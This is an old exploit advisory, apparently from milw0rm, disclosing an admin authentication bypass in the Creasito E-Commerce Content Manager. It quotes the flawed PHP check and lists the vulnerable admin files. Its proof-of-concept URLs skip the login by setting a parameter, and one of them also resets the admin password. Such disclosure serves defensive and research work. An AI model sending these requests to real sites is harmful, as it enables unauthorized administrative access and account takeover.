58 lines
No EOL
1.9 KiB
Text
58 lines
No EOL
1.9 KiB
Text
|
|
============================================================================================
|
|
|
|
Creasito E-Commerce Content Manager (admin) Authentication Bypass
|
|
|
|
============================================================================================
|
|
|
|
Product............: Creasito E-Commerce Content Manager
|
|
Affected versions..: Creasito <= 1.3.08
|
|
Security Risk......: High
|
|
Vendor.............: G. Fabozzi (http://creasito.bloghosteria.com/)
|
|
Product Link.......: http://prdownloads.sourceforge.net/creasito/creasito1.3.08.zip?download
|
|
Discovered by......: SlimTim10
|
|
|
|
|
|
Details:
|
|
---------
|
|
Files in the /admin directory use a very poor security method for authentication that is
|
|
simple to bypass.
|
|
|
|
Vulnerable Code:
|
|
-----------------
|
|
if ( empty( $finame ) ) {
|
|
?> Prego effettuare il login <a href="index.php"> Qui<br>
|
|
©Bloghosteria.com<br>
|
|
</a>
|
|
|
|
Vulnerable Files:
|
|
------------------
|
|
(in /admin)
|
|
addnewcont.php, adminpassw.php, amministrazione.php, artins.php, bgcolor.php,
|
|
cancartcat.php, canccat.php, cancelart.php, cancontsit.php, chanpassamm.php, dele.php,
|
|
delecat.php, delecont.php, emailall.php, gestflashtempl.php, gestmagart.php, gestmagaz.php,
|
|
gestpre.php, input.php, input3.php, insnucat.php, instempflash.php, mailfc.php,
|
|
modfdati.php, rescont4.php, ricordo1.php, ricordo4.php, tabcatalg.php, tabcont.php,
|
|
tabcont3.php, tabstile.php, tabstile3.php, testimmg.php, update.php
|
|
|
|
Proof of Concept:
|
|
------------------
|
|
|
|
http://[host]/admin/amministrazione.php?finame=1
|
|
http://[host]/admin/admin/dele.php?finame=1
|
|
http://[host]/admin/chanpassamm.php?finame=1&password=testing&passver=testing *
|
|
* Changes the password as well as bypassing authentication
|
|
|
|
|
|
Solution:
|
|
----------
|
|
Use a better authentication method, like cookies!
|
|
|
|
================================================================
|
|
|
|
Shoutz: PCD, dw0rek, Tainted, str0ke!
|
|
SlimTim10 <slimtim10[at]gmail[dot]com>
|
|
|
|
================================================================
|
|
|
|
# milw0rm.com [2006-11-03] |